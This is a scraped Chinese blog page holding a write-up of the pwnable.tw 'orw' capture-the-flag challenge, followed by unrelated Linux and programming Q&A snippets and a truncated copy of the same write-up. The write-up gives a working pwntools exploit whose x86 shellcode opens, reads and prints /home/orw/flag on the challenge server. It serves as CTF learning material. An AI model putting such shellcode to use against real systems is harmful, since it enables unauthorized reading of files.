pwnable.tw - orw

2023-10-26

简单概览

image_1chkkmh6m17j9j0c85t1l11ustp.png-22.3kB
与 start 不同,该程序使用动态链接

提示仅允许有限的系统调用 open read write 函数

程序运行

image_1chl27d7lfgvl8siov1m5r17bi16.png-8.9kB
哪怕是输入一个字母,程序仍然会出现段错误

检查安全措施

image_1chl2bs2s1f1g106g1csk1h872mn1j.png-14kB
可见栈上开了 CANARY

程序

在 IDA 中反编译可见:
image_1chl3sf5r19ck7eu1dnh1k1i16ht19.png-9.6kB
函数 orw_seccomp 反编译:
image_1chl5lhcibrr3p1cj51ada1mkd1m.png-16.9kB

程序从终端读入内容,存放在 shellcode,然后执行该命令

所以大体过程为先 open 文件,然后 read 读出内容,再 write 打印到终端

from pwn import *
open_shellcode = "xor ecx,ecx;xor edx,edx;mov eax,0x5;push 0x00006761;push 0x6c662f77;push 0x726f2f65;push 0x6d6f682f;mov ebx,esp;int 0x80;"
read_shellcode = "mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov edx,0x40;int 0x80;"
write_shellcode = "mov eax,0x4;mov ebx,0x1;mov edx,0x40;int 0x80;"
shellcode = open_shellcode + read_shellcode + write_shellcode
payload = asm(shellcode)
io = remote("chall.pwnable.tw", 10001)
io.recvuntil("shellcode:")
io.sendline(payload)
print io.recv()
io.interactive()

/home/orw/flag 转换为 16 进制为 2f686f6d652f6f72772f666c6167,即压栈数据,还要补零

执行就可以得到 flag

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

pwnable.tw - orw 的相关文章

  • Linux 中的无缓冲 I/O

    我正在写入大量的数据 这些数据数周内都不会再次读取 由于我的程序运行 机器上的可用内存量 显示为 空闲 或 顶部 很快下降 我的内存量应用程序使用量不会增加 其他进程使用的内存量也不会增加 这让我相信内存正在被文件系统缓存消耗 因为我不打算
  • 如何检测并找出程序是否陷入死锁?

    这是一道面试题 如何检测并确定程序是否陷入死锁 是否有一些工具可用于在 Linux Unix 系统上执行此操作 我的想法 如果程序没有任何进展并且其状态为运行 则为死锁 但是 其他原因也可能导致此问题 开源工具有valgrind halgr
  • GLIBCXX_3.4.26 未找到在 BeagleBone 上运行交叉编译的程序

    我有以下程序 include
  • 如何使用 xterm.js 创建基于 Web 的终端以 ssh 进入本地网络上的系统

    我偶然发现了这个很棒的图书馆xterm js https xtermjs org 这也是 Visual Studio Code 终端的基础 我有一个非常普遍的问题 我想通过基于网络的终端 不在网络中 可能位于 aws 服务器上 访问本地网络
  • 如何在 Linux 中编写文本模式 GUI? [关闭]

    Closed 这个问题正在寻求书籍 工具 软件库等的推荐 不满足堆栈溢出指南 help closed questions 目前不接受答案 当我编写脚本 程序时 我经常想弹出一个简单的文本 gui 来提示输入 我该怎么做 例如 来自 Shel
  • nginx 上的多个网站和可用网站

    通过 nginx 的基本安装 您的sites available文件夹只有一个文件 default 怎么样sites available文件夹的工作原理以及如何使用它来托管多个 单独的 网站 只是为了添加另一种方法 您可以为您托管的每个虚拟
  • 如何在bash中使用jq从变量中包含的json中提取值

    我正在编写一个 bash 脚本 其中存储了一个 json 值 现在我想使用 Jq 提取该 json 中的值 使用的代码是 json val code lyz1To6ZTWClDHSiaeXyxg redirect to http examp
  • Linux中的CONFIG_OF是什么?

    我看到它在很多地方被广泛使用 但不明白在什么场景下我需要使用它 What is 配置 OF OF 的全名是什么 打开固件 这是很久以前发明的 当时苹果公司正在生产基于 PowerPC CPU 的笔记本电脑 而 Sun Microsystem
  • 我可以从命令行打印 html 文件(带有图像、css)吗?

    我想从脚本中打印带有图像的样式化 html 页面 谁能建议一个开源解决方案 我使用的是 Linux Ubuntu 8 04 但也对其他操作系统的解决方案感兴趣 你可以给html2ps http user it uu se jan html2
  • Android 时钟滴答数 [赫兹]

    关于 proc pid stat 中应用程序的总 CPU 使用率 https stackoverflow com questions 16726779 total cpu usage of an application from proc
  • 所有平台上的java

    如果您想用 java 为 Windows Mac 和 Linux 编写桌面应用程序 那么所有这些代码都相同吗 您只需更改 GUI 即可使 Windows 应用程序更像 Windows 等等 如果不深入细节 它是如何工作的 Java 的卖点之
  • Pyaudio 安装错误 - “命令‘gcc’失败,退出状态 1”

    我正在运行 Ubuntu 11 04 Python 2 7 1 并想安装 Pyaudio 于是我跑了 sudo easy install pyaudio 在终端中 进程退出并显示以下错误消息 Searching for pyaudio Re
  • PHP 从命令行启动 gui 程序,但 apache 不启动

    首先 我阅读了有类似问题的人的一些帖子 但所有答案都没有超出导出 DISPLAY 0 0 和 xauth cookies 这是我的问题 提前感谢您的宝贵时间 我开发了一个小库 它使用 OpenGL 和 GLSL 渲染货架 过去几天我将它包装
  • NPTL 和 POSIX 线程有什么区别?

    NPTL 和 POSIX 线程之间的基本区别是什么 这两者是如何演变的 POSIX 线程 pthread 不是一个实现 它是几个函数的 API 规范 纸上的标准 英文 其名称以pthread 以及定义在
  • ubuntu:升级软件(cmake)-版本消歧(本地编译)[关闭]

    Closed 这个问题是无关 help closed questions 目前不接受答案 我的机器上安装了 cmake 2 8 0 来自 ubuntu 软件包 二进制文件放置在 usr bin cmake 中 我需要将 cmake 版本至少
  • 如何授予 apache 使用 NTFS 分区上的目录的权限?

    我在一台带有 20GB 硬盘的旧机器上运行 Linux Lubutu 12 10 我有一个 1 TB 外部硬盘 上面有一个 NTFS 分区 在该分区上 有一个 www 目录 用于保存我的网页内容 它在启动时自动安装为 media t515
  • 查找哪些页面不再与写入时复制共享

    假设我在 Linux 中有一个进程 我从中fork 另一个相同的过程 后forking 因为原始进程将开始写入内存 Linux写时复制机制将为进程提供与分叉进程使用的不同的唯一物理内存页 在执行的某个时刻 我如何知道原始进程的哪些页面已被写
  • ftrace:仅打印trace_printk()的输出

    是否可以只转储trace printk 输出于trace文件 我的意思是过滤掉函数跟踪器 或任何其他跟踪器 中的所有函数 一般来说 您可以在选项目录中关闭选项 sys kernel debug tracing options Use ls显
  • 如何通过ssh检查ubuntu服务器上是否存在php和apache

    如何通过ssh检查Ubuntu服务器上apache是 否安装了php和mysql 另外如果安装的话在哪个目录 如果安装了其他软件包 例如 lighttpd 那么它在哪里 确定程序是否已安装的另一种方法是使用which命令 它将显示您正在搜索
  • 如何确保应用程序在 Linux 上持续运行

    我试图确保脚本在开发服务器上保持运行 它会整理统计数据并提供网络服务 因此它应该会持续存在 但一天中有几次 它会因未知原因而消失 当我们注意到时 我们只需再次启动它 但这很麻烦 并且某些用户没有权限 或专有技术 来启动它 作为一名程序员 我

随机推荐

  • Vue项目引入Echarts可视化图表库教程&踩坑

    Apache ECharts是一个基于 JavaScript 的开源可视化图表库 ECharts是一款基于JavaScript的数据可视化图表库 提供直观 生动 可交互 可个性化定制的数据可视化图表 ECharts最初由百度团队开源 并于2
  • AD如何设置单个元器件规则

    在我们使用AD进行PCB绘制时 有时候可以将两个元器件重叠放置 但这时由于规则设置的原因 导致DRC检检查报错 那么如何将这种报错解决呢 一 在英文模式下 按下T M 忽视掉这个检查 但这种方法一旦移动元器件又会显示报错 二 设置单个元器件
  • 负载均衡器ribbon和LoadBalancer

    负载均衡器ribbon和LoadBalancer 客户端负载均衡器 目前主流的负载方案分为以下两种 集中式负载均衡 在消费者和服务提供方中间使用独立的代理方式进行负载 有硬件的 比如 F5 也有软件的 比如 Nginx 客户端根据自己的请求
  • 测试key-value

    package com datacloudsec test collect import com alibaba fastjson JSON import com datacloudsec UEBAApplication import co
  • 【ERROR】本地计算机上的mysql服务启动停止后 Windows下mysql数据库恢复

    MySQL突然连不上的 提示 本地计算机上的mysql服务启动停止后 某些服务在未由其他服务或程序使用时将自动停止 折腾半天网上各种查 才找到方法完美解决 数据库恢复 步骤1 删除原有mysql服务 mysqld remove lt 你的m
  • 面向应用学习stm32(7)-TIM通用定时器-PWM输出和输入

    前导 本文的目的与 意在于面向应用的学习单片机 故不会涉及太多的原理知识 例如寄存器之类的 主要目的在于面向应用的学习单片机 学会单片机的基础用法 开发板采取野火的指南者f103 作者大二小白 写的不好的地方轻点喷 欢迎评论区交流 全部工程
  • 常见的函数式接口介绍

    Supplier
  • linux环境下python编程指南,在Linux系统中搭建Python编程环境

    Linux系统是为编程而设计的 因此在大多数Linux计算机中都默认安装了Python 1 检查Python版本 在系统中运行应用程序Terminal 如果是Ubuntu 可按Ctrl Alt T 打开终端窗口 通过执行python 注意是
  • [学习opencv]彩色图像通道分离、合成

    将彩色图像RGB三色分离出来是一个很有意义的操作 用到void split const Mat mtx vector
  • LeetCode 61. 旋转链表

    题目链接 61 旋转链表 一共用两个指针 第一个记录链表的尾节点 第一次遍历记录链表的长度 由于k可能很大所有我们对k模上n 第二次遍历记录我们用第二个指针记录要翻转的第二段链表的前一个节点 然后用尾部指针tail的next指针指向头结点
  • (超详细)基于MTCNN+FaceNet实现人脸识别及轻量级网络探索和改进(附数据集及预训练模型)

    目录 一 原理分析 二 FcaeNet源码使用 三 爬虫自制数据集 提高亚洲人脸准确率 四 加载预训练模型 五 加载自制pairs验证文档 六 轻量级网络研究 七 FaceNet扩展使用 FaceNet SVM KNN或者改进损失函数 八
  • Windows安装Linux虚拟机详细教程

    文章目录 一 VirtualBox安装 二 Vagrant安装 三 Centos安装 在线安装 离线安装 四 启动与连接 方式一 命令行登入 无需输入用户名与密码 方式二 Xshell登入 自定义ip 一 VirtualBox安装 下载 V
  • raid技术快速入门

    RAID技术 简介 raid全称为Redundant Arrays of Independent Drives 即磁盘冗余阵列 这是由多块独立磁盘 多为硬盘 组合的一个超大容量磁盘组 Raid技术意图在于把多个独立的磁盘设备组成一个容量更大
  • linux配置网络yum源

    yum是Linux环境安装软件包的一种方式 yum仓库用来存放所有的现有的 rpm包 当使用yum安装一个rpm包时 需要依赖关系 会自动在仓库中查找依赖软件并安装 yum仓库可以是本地的 也可以是HTTP FTP nfs形式的网络仓库 简
  • 运放的相位补偿 ?

    两个作用 1 改变反馈网络相移 补偿运放相位滞后 2 补偿运放输入端电容的影响 其实最终还是补偿相位 因为我们所用的运放都不是理想的 一般实际使用的运算放大器对一定频率的信号都有相应的相移作用 这样的信号反馈到输入端将使放大电路工作不稳定甚
  • 华为***技术一:L2TP概述

    原理名词解析 VPDN VPDN是承载PPP报文的 可以为企业 小型ISP 移动办公人员提供接入服务 NAS NAS网络接入服务器 Network Access Server 主要由ISP维护 连接拨号网络 是距离PPP终端地理位置最近的接
  • 小程序开发一个多少钱啊

    在今天的数字化时代 小程序已经成为一种非常流行的应用程序形式 由于它们的便捷性 易用性和多功能性 小程序吸引了越来越多的用户和企业 但是 很多人在考虑开发一个小程序时 都会遇到同一个问题 开发一个小程序需要多少钱 小程序的开发费用因人而异
  • angular 使用前端代理方式实现请求跨域,解决代理不生效问题!!

    最近玩angular 在使用代理方式进行前端跨域处理时 一直无法代理成功 查了许多资料 发现所有angular跨域教程都不完整 下边为大家奉上完整版的跨域操作 1 在项目根目录下定义proxy config json文件 2 在第1步刚刚创
  • 关于在Python的for循环中改变列表的值问题探究

    案例一 def test a 1 2 for i in a print i id a if i 5 break a a 0 2 a 1 2 输出 1 4313456192 2 4313269056 解释 在for循环语句中的变量a使用的内存
  • pwnable.tw - orw

    简单概览 与 start 不同 该程序使用动态链接 提示仅允许有限的系统调用 open read write 函数 程序运行 哪怕是输入一个字母 程序仍然会出现段错误 检查安全措施 可见栈上开了 CANARY 程序 在 IDA 中反编译可见